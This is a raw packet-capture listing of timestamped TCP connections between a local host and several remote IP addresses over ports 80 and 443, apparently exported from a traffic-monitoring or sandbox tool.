Nov 26, 2024 10:09:33.253690958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.253696918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.253736973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.254376888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.254435062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.254477978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.254698992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.255247116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.255297899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.255340099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.255376101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.256145000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.256196976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.256231070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.256268978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.256999969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.257050037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.257086039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.257131100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.257977962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.258023977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.258111954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.258147001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.258744955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.258799076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.258873940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.259444952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.259629011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.259684086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.259764910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.259819031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.260489941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.260548115 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.260586023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.261385918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.261398077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.261437893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.261437893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.262217045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.262269974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.262305021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.264775038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.266518116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266530991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266545057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266556978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266588926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.266613960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.266685963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266699076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266731024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.266859055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.266910076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.267024040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.267064095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.267733097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.267785072 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.267887115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.267931938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.268584967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.268630028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.268733025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.268925905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.269617081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.269665956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.269771099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.269819021 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.270317078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.270360947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.270492077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.270544052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.271332979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.271344900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.271374941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.271392107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.272121906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.272161961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.329689026 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.330511093 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.330542088 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.330905914 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.331852913 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.331932068 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.332034111 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.332736015 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.333961964 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.333980083 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.334615946 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.334621906 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.375335932 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.376743078 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.417440891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.417460918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.417545080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.417879105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.417974949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.418020010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.418431997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.418492079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.418555975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.418602943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.419476032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.419528961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.419564962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.419635057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.420572042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.420615911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.420655966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.420706987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.421361923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.421468019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.421513081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.422172070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.422187090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.422219038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.422236919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.423131943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.423196077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.423243046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.423841953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.423885107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.423943996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.424133062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.424778938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.424824953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.424890041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.424992085 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.425673008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.425728083 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.425802946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.425843954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.426534891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.426615953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.426655054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.426695108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.427669048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.427838087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.427848101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.427884102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.428092957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.428144932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.428221941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.428265095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.429020882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.429070950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.429116964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.429164886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.429876089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.429927111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.429965019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.430114031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.430608988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.430746078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.430789948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.431478024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.431545973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.431586981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.431627035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.432343960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.432391882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.432394981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.432426929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.433276892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.433355093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.433396101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.433438063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.434227943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.434283018 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.434299946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.434329033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.435108900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.435194016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.435215950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.435250044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.446907997 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:33.447000980 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:33.447068930 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:33.452354908 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.452505112 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:33.452522993 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:33.452693939 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.457142115 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.457175970 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.457300901 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.457341909 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.457843065 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.457849979 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.458096027 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.458101988 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.502978086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.530512094 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.533248901 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.533368111 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.533617020 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.533634901 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.560484886 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.560539007 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.560589075 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.560616970 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.561683893 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.561749935 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.561880112 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.607007027 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.614459991 CET	49844	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.614486933 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.615216970 CET	49844	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.615222931 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.623157024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.651489973 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.651572943 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.651774883 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.651892900 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.651915073 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.651926041 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.651932001 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.655109882 CET	49848	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.655173063 CET	443	49848	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.655261040 CET	49848	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.655517101 CET	49848	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.655529976 CET	443	49848	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.770354986 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.770401955 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.770473003 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.770534992 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.770591974 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.770668983 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.770855904 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.770864010 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.771018982 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771296024 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771332979 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.771467924 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771500111 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.771502018 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771574974 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771810055 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.771821022 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.775927067 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.775938988 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.776062965 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.776076078 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.776174068 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.776186943 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.776401997 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:33.776416063 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:33.777412891 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.777440071 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.777484894 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.777497053 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.779252052 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.779284954 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.779333115 CET	443	49841	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.779356003 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.779382944 CET	49841	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.779498100 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.782418966 CET	49854	443	192.168.2.5	108.139.47.50
Nov 26, 2024 10:09:33.782438993 CET	443	49854	108.139.47.50	192.168.2.5
Nov 26, 2024 10:09:33.782535076 CET	49854	443	192.168.2.5	108.139.47.50
Nov 26, 2024 10:09:33.783308029 CET	49854	443	192.168.2.5	108.139.47.50
Nov 26, 2024 10:09:33.783323050 CET	443	49854	108.139.47.50	192.168.2.5
Nov 26, 2024 10:09:33.792109013 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.792121887 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.792193890 CET	49840	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.792198896 CET	443	49840	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.795965910 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.796004057 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.796076059 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.796268940 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.796283960 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.897624969 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.897696972 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.897775888 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.897969961 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.897989035 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.898003101 CET	49843	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.898009062 CET	443	49843	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.898622036 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.898682117 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.898827076 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.899034023 CET	49842	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.899051905 CET	443	49842	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.901602030 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.901650906 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.901782990 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.901901960 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.901916981 CET	49856	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.901930094 CET	443	49856	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.901947975 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.902002096 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.902159929 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.902170897 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.940521955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.940572023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.940591097 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.940612078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.941001892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.941047907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.941109896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.941189051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.941468954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.941514015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.941591978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.941639900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.942408085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.942456961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.942492008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.942761898 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.943131924 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.943172932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.943217993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.943260908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.943944931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.943990946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.944199085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.944241047 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.944947958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.945000887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.945112944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.945152998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.945720911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.945765018 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.945842028 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.946022987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.946614027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.946657896 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.946785927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.946830988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.947515011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.947560072 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.947592974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.947669029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.948337078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.948353052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.948390007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.948405027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.949182987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.949261904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.949265957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.949331999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.950239897 CET	80	49766	185.215.113.206	192.168.2.5
